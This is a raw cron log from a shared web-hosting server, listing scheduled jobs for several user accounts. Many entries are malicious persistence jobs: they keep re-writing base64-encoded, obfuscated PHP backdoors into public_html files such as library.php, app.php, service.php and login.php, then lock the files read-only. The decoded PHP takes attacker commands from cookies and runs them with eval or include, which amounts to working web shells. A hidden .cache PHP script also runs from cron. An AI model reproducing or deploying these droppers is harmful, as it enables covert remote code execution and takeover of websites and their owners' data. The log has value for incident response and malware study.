Mar  1 06:41:02 medusa CROND[28154]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:41:02 medusa CROND[28156]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:41:02 medusa CROND[28157]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:41:02 medusa CROND[28158]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:41:02 medusa CROND[28159]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:41:02 medusa CROND[28148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:42:01 medusa CROND[2242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:42:01 medusa CROND[2243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:42:01 medusa CROND[2244]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:42:01 medusa CROND[2249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:42:01 medusa CROND[2252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:42:01 medusa CROND[2254]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:42:01 medusa CROND[2255]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:42:01 medusa CROND[2257]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:42:01 medusa CROND[2250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:42:01 medusa CROND[2258]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:42:01 medusa CROND[2259]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:42:01 medusa CROND[2260]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:42:01 medusa CROND[2256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:43:01 medusa CROND[7816]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:43:01 medusa CROND[7817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:43:01 medusa CROND[7818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:43:01 medusa CROND[7819]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:43:01 medusa CROND[7822]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:43:01 medusa CROND[7824]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 06:43:01 medusa CROND[7825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:43:01 medusa CROND[7826]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:43:01 medusa CROND[7827]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
